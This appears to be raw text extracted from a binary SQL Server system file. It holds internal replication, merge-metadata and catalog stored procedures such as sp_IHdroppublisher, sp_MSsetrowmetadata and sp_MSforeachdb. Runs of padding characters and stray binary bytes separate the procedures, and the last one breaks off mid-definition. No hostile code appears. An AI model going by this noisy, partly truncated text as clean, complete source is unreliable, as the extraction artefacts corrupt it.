!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!HZBl6


j
:

xJV*


P

				d	<	
	xT.jH.`<t*v>d$^8rzL&hB`<8y0{S 8
--
-- Name:    
--          sp_IHdroppublisher
--          
-- Description: 
--          Drop HREPL publisher info
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success (0) or failure (1)
--      
-- Owner:   
--          <current owner> 

CREATE PROCEDURE sys.sp_IHdroppublisher
(
	@publisher		sysname,
	@publisher_type	sysname,
	@no_checks		bit = 0
)
AS
BEGIN
	SET NOCOUNT ON

	DECLARE @retcode int
	DECLARE @publisher_id smallint

    -- Parameter Check:  @publisher.
    -- Check to make sure that the publisher exists, that the name isn't
    -- NULL, and that the name conforms to the rules for identifiers.
    IF @publisher IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@publisher', 'sp_IHdroppublisher')
		RETURN (1)
	END
	
	-- Param check
	-- Verfiy publisher type is valid
    IF @publisher_type NOT IN (N'MSSQLSERVER', N'ORACLE', N'ORACLE GATEWAY')
    BEGIN
        RAISERROR (21643, 16, -1, '@publisher_type')  
        return (1)  
    END

    EXECUTE @retcode = dbo.sp_validname @publisher

    IF @retcode <> 0
        RETURN (1)

	--
	-- Look up publisher ID
	--
	SELECT @publisher_id = svr.srvid
	FROM   master.dbo.sysservers svr
	JOIN   msdb.dbo.MSdistpublishers dist ON svr.srvname = dist.name
	WHERE  UPPER(dist.name collate database_default) = UPPER(@publisher) collate database_default

	IF @publisher_id IS NULL
	BEGIN
        RAISERROR (14080, 11, -1, @publisher)
		RETURN (1)
	END

	-- Clear publisher info from tracking tables
	DELETE	IHpublishercolumnconstraints 
	FROM	IHpublishercolumnconstraints col2cons
	JOIN	IHpublisherconstraints ihcons on col2cons.publisherconstraint_id = ihcons.publisherconstraint_id
	WHERE	ihcons.publisher_id = @publisher_id

	DELETE	IHpublisherconstraints 
	WHERE	publisher_id = @publisher_id

	DELETE	IHpublishercolumnindexes 
	FROM	IHpublishercolumnindexes col2idx
	JOIN	IHpublisherindexes ihidx on col2idx.publisherindex_id = ihidx.publisherindex_id
	WHERE	ihidx.publisher_id = @publisher_id

	DELETE	IHpublisherindexes
	WHERE	publisher_id = @publisher_id

	DELETE	IHcolumns 
	FROM	IHcolumns ihc
	JOIN	IHpublishercolumns ihpc ON ihc.publishercolumn_id = ihpc.publishercolumn_id
	WHERE	ihpc.publisher_id = @publisher_id

	DELETE	IHarticles 
	FROM	IHarticles ih
	JOIN	MSpublications mspub ON ih.publication_id = mspub.publication_id
	WHERE	mspub.publisher_id = @publisher_id

	DELETE	IHpublishercolumns
	WHERE	publisher_id = @publisher_id

	DELETE	IHpublishertables
	WHERE	publisher_id = @publisher_id

	DELETE	IHpublications 
	FROM	IHpublications ihpub
	JOIN	MSpublications mspub ON ihpub.pubid = mspub.publication_id
	WHERE	mspub.publisher_id = @publisher_id

	DELETE	IHpublishers
	WHERE	publisher_id = @publisher_id

	IF @publisher_type LIKE 'ORACLE%' 
	BEGIN
		BEGIN TRY
			EXEC @retcode = sys.sp_ORAdroppublisher @publisher
		END TRY

		BEGIN CATCH
			if(@no_checks = 1)
				RETURN(0)
			ELSE
				RETURN(1)						
		END CATCH

		if(@no_checks = 1)
			RETURN(0)		

        IF (@@ERROR <> 0) OR (@retcode <> 0)
            RETURN(1)	
	END
	
	RETURN (0)
END
0V D80hG>X0]@ 8create procedure sys.sp_MSmergeupdatelastsyncinfo (
@subid             uniqueidentifier,
@last_sync_status  int,
@last_sync_summary sysname
)
as
set nocount on

declare @retcode    int

-- Security check
exec @retcode= sys.sp_MSrepl_PAL_rolecheck @repid = @subid
if @retcode<>0 or @@error<>0 return 1

update dbo.sysmergesubscriptions 
    set last_sync_status = @last_sync_status, 
        last_sync_summary = @last_sync_summary, 
        last_sync_date = getdate()
    where subid = @subid
if @@rowcount <> 1 or @@ERROR<>0
begin
    raiserror('Could not update last sync info', 16, -1)
    return (1)
end
return (0)
0M_ 8-- Creation of sp_describe_cursor

create procedure sys.sp_describe_cursor
(  @cursor_return CURSOR VARYING OUTPUT,
   @cursor_source nvarchar (30),
   @cursor_identity nvarchar (128)
)
AS

declare @scope int
select @cursor_source = LOWER (@cursor_source collate Latin1_General_CI_AS)

/* Check if the cursor exists by name or handle. */
If cursor_status ( @cursor_source, @cursor_identity ) >= -1
begin
	if convert(varchar(30), @cursor_source) = 'local' OR
		convert(varchar(128), @cursor_source) = 'variable'
		select @scope = 1
	else
	if convert(varchar(30), @cursor_source) = 'global'
		select @scope = 2


	set @cursor_return =  CURSOR LOCAL SCROLL DYNAMIC FOR
			    	SELECT reference_name, cursor_name, cursor_scope,
					status, model, concurrency, scrollable,
					open_status, cursor_rows, fetch_status,
					column_count, row_count, last_operation,
					cursor_handle
			    	FROM sys.syscursorrefs scr, sys.syscursors sc
			    	WHERE 	scr.cursor_scope = @scope and
				  	scr.reference_name = @cursor_identity and
				  	scr.cursor_handl = sc.cursor_handle
				ORDER BY 3, 1
				FOR READ ONLY
	open @cursor_return

end
0>'`@ 8create procedure sys.sp_MSgetonerowlightweight
	@tablenick	int,
	@rowguid	uniqueidentifier,
	@pubid		uniqueidentifier
as
	declare @retcode	smallint
	declare @procname	sysname
	declare @postfix	nchar(32)

	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0 return 1
    	
	select @postfix= procname_postfix
		from dbo.sysmergearticles 
		where nickname = @tablenick and pubid = @pubid
	
	set @procname= quotename('MSmerge_lws_sp_multi_' + @postfix)

	exec @retcode= @procname @action = 1, @rowguid = @rowguid
	if @@error<>0 or @retcode<>0 return (1)

	return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!![

`e
< *\nA0$@ 8create procedure sys.sp_MSsetrowmetadata
    (@tablenick int, 
     @rowguid uniqueidentifier, 
     @generation bigint,
     @lineage varbinary(311), 
     @colv varbinary(2953), 
     @type tinyint,
     @was_tombstone int = NULL OUTPUT,
     @compatlevel int = 10, -- backward compatibility level, default=Sphinx
     @isinsert bit = 0, -- 1 = is an insert, 0 = is an update or delete
     @pubid uniqueidentifier = NULL,
     @publication_number smallint = NULL,
     @partition_id int = NULL, 
     @partition_options tinyint = 0
     )
as
    declare @retcode int, @partchangegen bigint
    declare @mycommand2 nvarchar(2000), @myflag int
    declare @marker uniqueidentifier
    
    if (@isinsert = 1)
        set @partchangegen = -(@generation)
    else
        set @partchangegen = NULL
        
    if (@tablenick is null)
    begin
        RAISERROR(14043, 16, -1, '@tablenick', 'sp_MSsetrowmetadata')
        return (1)
    end
    if (@rowguid is null)
    begin
        RAISERROR(14043, 16, -1, '@rowguid', 'sp_MSsetrowmetadata')
        return (1)
    end
    if (@generation is null)
    begin
        RAISERROR(14043, 16, -1, '@generation', 'sp_MSsetrowmetadata')
        return (1)
    end
    if (@lineage is null)
    begin
        RAISERROR(14043, 16, -1, '@lineage', 'sp_MSsetrowmetadata')
        return (1)
    end

    /*
    ** Check to see if current publication has permission
    */
    if @pubid is NULL
    begin
        exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick = @tablenick
        if @retcode<>0 or @@ERROR<>0 return (1)
    end
    else
    begin
        if ({ fn ISPALUSER(@pubid) } <> 1)
        begin
            RAISERROR (14126, 11, -1)
            return (1)
        end
    end

    if @compatlevel < 90
    begin
        set @lineage= {fn LINEAGE_80_TO_90(@lineage)}
        if @colv is not null
            set @colv= {fn COLV_80_TO_90(@colv)}
    end

    if (@type=1 or @type=5 or @type=6)
    begin
        -- update or insert dbo.MSmerge_tombstone
        update dbo.MSmerge_tombstone set generation = @generation, lineage = @lineage, type = @type
            where tablenick = @tablenick and rowguid = @rowguid

        if (@@rowcount = 0)
        begin
            insert into dbo.MSmerge_tombstone (rowguid, tablenick, type, generation, lineage)
               values(@rowguid, @tablenick, @type, @generation, @lineage)

            delete from dbo.MSmerge_current_partition_mappings where rowguid=@rowguid and tablenick=@tablenick
            delete from dbo.MSmerge_contents where tablenick = @tablenick and rowguid = @rowguid

            if @partition_options > 1 and @partition_id is not null
            begin
                insert into dbo.MSmerge_past_partition_mappings (publication_number, tablenick, rowguid, 
                    partition_id, generation, reason)
                    values(@publication_number, @tablenick, @rowguid, @partition_id, @generation, 1)
            end
            else
            begin
                insert into dbo.MSmerge_past_partition_mappings (publication_number, tablenick, rowguid,
                    partition_id, generation, reason)
                    values (0, @tablenick, @rowguid, -1, @generation, 1)
            end            
        end
        else
        begin
            update dbo.MSmerge_past_partition_mappings
                set generation = @generation 
                where tablenick = @tablenick and rowguid = @rowguid and generation = 0
        end
    end
    else
    begin

        if not exists (select rowguid from dbo.MSmerge_contents where tablenick = @tablenick and rowguid = @rowguid)
        begin
            -- for the update case, evaluate partition membership if inserting a new contents row.
            -- this is needed when upd_sp does not really make an update, e.g. when no column value
            -- really changed. hence the trigger never fires and the contents entry doesn't get the 
            -- partition id's.
            -- for insert case, trigger always takes care of it.
          
            if @partition_options > 1
            begin
                if @partition_id is not null
                begin
                    insert into dbo.MSmerge_current_partition_mappings (publication_number, tablenick, rowguid, partition_id)
                    select distinct @publication_number, @tablenick, @rowguid, @partition_id
                        where not exists (select * from dbo.MSmerge_current_partition_mappings
                            where publication_number = @publication_number
                            and tablenick = @tablenick
                            and rowguid = @rowguid
                            and partition_id = @partition_id)

                end
            end
            else if @isinsert = 0
            begin
                exec @retcode = sys.sp_MSevaluate_change_membership_for_row @tablenick = @tablenick, @rowguid = @rowguid
                if @retcode <> 0 or @@error <> 0
                    return 1
            end
            
            if @isinsert = 1
                select @marker = newid()
            else
                select @marker = NULL
            
            insert into dbo.MSmerge_contents (rowguid, tablenick, generation, partchangegen, lineage, colv1, marker)
                values (@rowguid, @tablenick, @generation, @partchangegen, @lineage, @colv, @marker)
            delete from dbo.MSmerge_tombstone where tablenick = @tablenick and rowguid = @rowguid
            select @was_tombstone = @@rowcount
             -- for insert case, trigger always takes care of it.
            if @partition_options < 2 and @isinsert = 0
            -- don't need to do this for well-partitioned articles.
            begin
                exec @retcode = sys.sp_MSevaluate_logicalrecordparent @nickname = @tablenick, @rowguid = @rowguid
                if @retcode <> 0 or @@error <> 0
                    return 1
            end
        end
        else
        begin
            -- update or insert to MSmerge_contents
            -- The following updates the generation to passed in value only if the 
            -- filter columns have not changed.

            -- If filter values have changed, update the generation to gen_cur for article - 
            -- This will allow a subsequent download to cleanup rows that don't belong at subscriber
            -- the trigger would have already set partchangegen to gencur in case there was a partition column or filtering
            -- column that changed. Here we ill set the generation to be the passed in generation only if 
            -- partchangegen is NULL. If not we will set it to generation itself which will be gen_cur

            -- in some cases it is possible that the trigger was NFR. In that case both partchangegen and generation may have
            -- old values. Hence in those cases we want to be sure that the generation is a valid open gen.
            update dbo.MSmerge_contents 
            set generation = case when (isnull(partchangegen, -1) <> mc.generation and isnull(partchangegen, -1) <> (-mc.generation)) or g.genstatus in (1,2) then @generation else mc.generation end, 
                lineage = @lineage, 
                colv1 = @colv
                --@@@colv1 = case when datalength(@colv) < datalength(colv1) then colv1 else @colv end
            from dbo.MSmerge_contents mc, dbo.MSmerge_genhistory g
            where mc.tablenick = @tablenick 
            and mc.rowguid = @rowguid
            and g.generation = mc.generation
        end

    end -- end of insert/update

    IF @@ERROR<>0 return (1) 
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<R0̦ï0WQ) 8CREATE VIEW sys.dm_db_missing_index_details AS
	SELECT *
	FROM OpenRowset(TABLE MISSING_IDX_DETAILS)
0(W3 	8create procedure sys.sp_MScreatedisabledmltrigger
    @source_object sysname,
    @source_owner sysname
as
    declare @artid uniqueidentifier
    declare @cmd nvarchar(1000)
    declare @triggername nvarchar(130)
    declare @guidstr nchar(32)
    declare @retcode int
    declare @qualified_tablename nvarchar(517)
    declare @qualified_trig_name nvarchar(517)
    declare @objid int

    /*
    ** Security Check
    */
    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

    select @qualified_tablename = quotename(@source_owner) + '.' + quotename(@source_object)

    select @objid = object_id(@qualified_tablename)
    if @objid is NULL
        return 1

    select top 1 @artid = artid from dbo.sysmergearticles where objid=@objid
    if @artid is NULL
        return 1
    
    exec @retcode=sys.sp_MSguidtostr @artid, @guidstr out
    if @retcode <> 0 or @@error <> 0 
        return (1)

    -- remove disable dml trigger, if it exists
    set @triggername= 'MSmerge_disabledml_' + @guidstr
    if @source_owner is not NULL
        select @qualified_trig_name = quotename(@source_owner) + '.' + quotename(@triggername)
    else
        select @qualified_trig_name = quotename(@triggername)
    
    if object_id(@qualified_trig_name, 'TR') is not null
    begin
        set @cmd= 'drop trigger ' + @qualified_trig_name 
        exec sys.sp_executesql @cmd
        if @@error <> 0 
            return 1
    end

    set @cmd='
    create trigger ' + quotename(@triggername) + ' on ' + @qualified_tablename + ' for update, insert, delete
        not for replication
    as
        set nocount on

        if @@trancount > 0 rollback tran
        raiserror (20092, 16, -1, ''' + sys.fn_replreplacesinglequote(@qualified_tablename) + ''')

        return'

    exec sys.sp_executesql @cmd
    if @@error <> 0 
        return 1

    -- Only mark the trigger as system object if it is owned by dbo.
    if exists (select * from sys.objects where name = @triggername and SCHEMA_NAME(schema_id) = 'dbo')
    begin
        exec @retcode = sys.sp_MS_marksystemobject  @triggername 
        if @@ERROR<>0 OR @retcode <>0 
            return 1
    end

    return 0
0*h4@ j	8--
-- Name: sp_hadr_get_target_server
--
-- Descriptions: Get the name of the redirected publisher. 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 on success; 1 on failure; raise error on failure.
--          On failure, temporary linked server is dropped.
--
-- Security: Internal stored procedure.
--

create procedure sys.sp_hadr_get_target_server
(
    @original_publisher sysname,
    @publisher_db sysname,
    @redirected_publisher sysname,
    @publisher_linked_server sysname, 
    @target_server sysname output
)
as
begin

    set nocount on
    set ANSI_WARNINGS on
    
    declare @cmd nvarchar(1000),
        @retcode int,
        @original_error_number int,
        @original_error_message nvarchar(4000),
        @current_time datetime,
        @max_wait_time datetime
        
    set @target_server = null     
	
    set @cmd = quotename(RTRIM(@publisher_linked_server)) + '.master.sys.sp_executesql'
    
    -- This is the first attempt to contact the redirected server. If the attempt fails
    -- wait ten seconds and then retry for up to two minutes.
    set @max_wait_time = DATEADD(MINUTE,2,getdate())
   
    while ( 1=1 )
    begin
        begin try
            -- Retrieve the name of the remote server.
            exec @retcode = @cmd N'SELECT @p1=@@servername', N'@p1 sysname OUTPUT', @target_server output
            break;
        
        end try
		
        begin catch
            --
            set @current_time = getdate()
            if (@current_time > @max_wait_time)
            begin 
                exec sys.sp_hadr_get_current_error @original_error_number output, @original_error_message output
                exec sys.sp_hadr_drop_linked_server @publisher_linked_server
                raiserror (21879, 16, -1, @redirected_publisher, @original_publisher, @publisher_db,
                    @original_error_number, @original_error_message)
                return 1
            end
            
            -- Wait 10 seconds and retry
            WAITFOR DELAY '00:00:10'
                     
        end catch
    end
    
    if @retcode <> 0
    begin
        raiserror(21885, 16, -1, @retcode)
    end
        
    if @target_server is null
    begin
        raiserror(21886, 16, -1)
    end    
  
    return @retcode
end
0z/@ 8
/*
 * The following table definition will be created by SQLDMO at start of each connection.
 * We don't create it here temporarily because we need it in Exec() or upgrade won't work.
 */

create proc sys.sp_MSforeachdb
	@command1 nvarchar(2000), @replacechar nchar(1) = N'?', @command2 nvarchar(2000) = null, @command3 nvarchar(2000) = null,
	@precommand nvarchar(2000) = null, @postcommand nvarchar(2000) = null
as
    set deadlock_priority low
    
	/* This proc returns one or more rows for each accessible db, with each db defaulting to its own result set */
	/* @precommand and @postcommand may be used to force a single result set via a temp table. */

	/* Preprocessor won't replace within quotes so have to use str(). */
	declare @inaccessible nvarchar(12), @invalidlogin nvarchar(12), @dbinaccessible nvarchar(12)
	select @inaccessible = ltrim(str(convert(int, 0x03e0), 11))
	select @invalidlogin = ltrim(str(convert(int, 0x40000000), 11))
	select @dbinaccessible = N'0x80000000'		/* SQLDMODbUserProf_InaccessibleDb; the negative number doesn't work in convert() */

	if (@precommand is not null)
		exec(@precommand)

	declare @origdb nvarchar(128)
	select @origdb = db_name()

	/* If it's a single user db and there's an entry for it in sysprocesses who isn't us, we can't use it. */
   /* Create the select */
	exec(N'declare hCForEachDatabase cursor global for select name from master.dbo.sysdatabases d ' +
			N' where (d.status & ' + @inaccessible + N' = 0)' +
			N' and (DATABASEPROPERTYEX(d.name, ''UserAccess'') <> ''SINGLE_USER'' and (has_dbaccess(d.name) = 1))' )

	declare @retval int
	select @retval = @@error
	if (@retval = 0)
		exec @retval = sys.sp_MSforeach_worker @command1, @replacechar, @command2, @command3, 1

	if (@retval = 0 and @postcommand is not null)
		exec(@postcommand)

   declare @tempdb nvarchar(258)
   SELECT @tempdb = REPLACE(@origdb, N']', N']]')
   exec (N'use ' + N'[' + @tempdb + N']')

	return @retval
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	d`<Z	"½08l D8oh&	0'	0	o@ 8
create procedure sys.sp_MSlocalizeinterruptedgenerations @publication sysname=NULL
-- this proc loops over interrupted generations 
-- and changes the guidsrc to a new value to basically give them a new identity, and closes them with genstatus=1 (local)
as
begin
    -- loop over interrupted generations
    -- determine lowest incomplete generation
        declare @guidsrc uniqueidentifier, 
                        @gen bigint, 
                        @art_nick int,
                        @retcode int,
                        @changecount int,
                        @replnick binary(6),
                        @nickbin binary(8)

        declare @pubid uniqueidentifier

    -- Security Checking 
    -- sysadmin or db_owner or replication agent have access

    -- changing this for client requested snapshot. Relaxing this condition so that PAL users can call this
    -- added the optional publication parameter for this
    if @publication is not null and @publication != ''
    begin
        select @pubid = pubid from dbo.sysmergepublications where name=@publication and upper(publisher)=upper(publishingservername()) and publisher_db=DB_NAME()
        if (@pubid is NULL)
        begin
                raiserror(21040, 16, -1, @publication)
                return 1
        end
    end

    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid 
    if (@retcode <> 0) or (@@error <> 0)
        return 1
       
     -- loop over interrupted generations       
    while (1=1) 
    begin
        -- determine lowest incomplete generation
        set @guidsrc = null
        set @changecount = 0
        
        select top 1 @guidsrc = guidsrc, @gen = generation, @art_nick = art_nick from dbo.MSmerge_genhistory with (NOLOCK)
                        where genstatus=0  -- incomplete gen
                        and generation not in (select gen_cur from dbo.sysmergearticles)  -- not a local incomplete gen
                        and coldate not in (select login_time from sys.dm_exec_sessions)  -- not a gen that currently receives replica updates from another db
                        order by generation asc

        if (@guidsrc is null)
            break
                
        delete from dbo.MSmerge_genhistory
        where generation = @gen
        and guidsrc = @guidsrc
        and genstatus = 0  -- incomplete gen
        and generation not in (select gen_cur from dbo.sysmergearticles)  -- not a local incomplete gen
        and coldate not in (select login_time from sys.dm_exec_sessions)  -- not a gen that currently receives replica updates from another db
        and not exists (select generation from dbo.MSmerge_contents where generation = @gen)
        and not exists (select generation from dbo.MSmerge_tombstone where generation = @gen)
        
        if @@rowcount = 0
        begin
            exec @retcode = sys.sp_MSget_gen_approx_changecount @gen, @changecount OUTPUT
            if @retcode <> 0 or @@error <> 0
                    return 1
            
            exec @retcode = sys.sp_MSmap_generation_to_partitionids @gen, @art_nick
            if @retcode <> 0 or @@error <> 0
                    return 1

            -- Ensure that localized generations regenerate the nicknames array for the new generation
            exec sys.sp_MSgetreplnick @replnick = @replnick out
            if @@error <> 0
                    return 1

            -- Append guard byte
            set @nickbin= @replnick + 0xFF

            update dbo.MSmerge_genhistory set guidsrc = newid(), genstatus = 1, coldate = getdate(), changecount = @changecount, nicknames = @nickbin
            where generation = @gen 
            and guidsrc = @guidsrc
            and genstatus=0  -- incomplete gen
            and generation not in (select gen_cur from dbo.sysmergearticles)  -- not a local incomplete gen
            and coldate not in (select login_time from sys.dm_exec_sessions)  -- not a gen that currently receives replica updates from another db
        end
    end
        
    if @@error <> 0
        return 1
    else
        return 0
end
0Tkm@ }8
create procedure sys.sp_MSsetreplicastatus
    (@subid uniqueidentifier,
     @status_value int
     ) AS
     
    /*
    ** Check to see if current publication has permission
    */
    declare @retcode int

    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @repid = @subid
    if (@retcode <> 0) or (@@error <> 0)
        return 1
    
    if object_id(N'dbo.sysmergesubscriptions','U') is null
        return 0
    
     IF EXISTS (select subid from dbo.sysmergesubscriptions where subid=@subid)
        begin
            update dbo.sysmergesubscriptions set status = @status_value,
                cleanedup_unsent_changes = case when @status_value=1 then 0 else cleanedup_unsent_changes end   
            WHERE subid=@subid               
            if @@ERROR<>0 return (1)

            if @status_value = 1
            begin
                -- update the publisher replica row's cleanedup_unsent_changes as well.
                update dbo.sysmergesubscriptions set cleanedup_unsent_changes = 0
                WHERE subid = (select top 1 pubid from dbo.sysmergesubscriptions where subid = @subid)               
                if @@ERROR<>0 return (1)
            end

            update dbo.MSmerge_replinfo set resync_gen=-1 WHERE repid=@subid               
            if @@ERROR<>0 return (1)
        end
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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dynamicsnapshotlocations 
--              at the publisher to change the dynamic snapshot location command line
--              parameter value in an existing dynamic snapshot job
--
-- Returns: 0 - succeeded
--          1 - failed
--
-- Security: Only members of the 'sysadmin' server role and members of the 
--           'db_owner' database role at the distributor can call this 
--           procedure. This procedure is intended to be called through 
--           the distributor_admin remote login in the case where
--           the distributor is a different machine from the publisher. 
--
create procedure sys.sp_MSchangedynsnaplocationatdistributor 
(
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @dynamic_filter_login sysname,
    @dynamic_filter_hostname sysname,
    @dynamic_snapshot_location nvarchar(255)
)
as
begin
    set nocount on

    declare @retcode int
    declare @agent_id int
    declare @job_id uniqueidentifier
    declare @job_step_uid uniqueidentifier
    declare @publisher_id int
    declare @publication_type int
    declare @command_line nvarchar(4000)
    declare @str_jobid nvarchar(40)
    
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_srvrolemember('sysadmin') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    --
    -- security check
    -- Has to be executed from distribution database
    --
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, 'sp_MSchangedynsnaplocationatdistributor', 'distribution')
        return (1)
    end

    if @dynamic_filter_login is NULL and @dynamic_filter_hostname is NULL
    begin
        raiserror(20653, 16, -1)
        return 1
    end
    
    select @retcode = 0
    select @agent_id = null

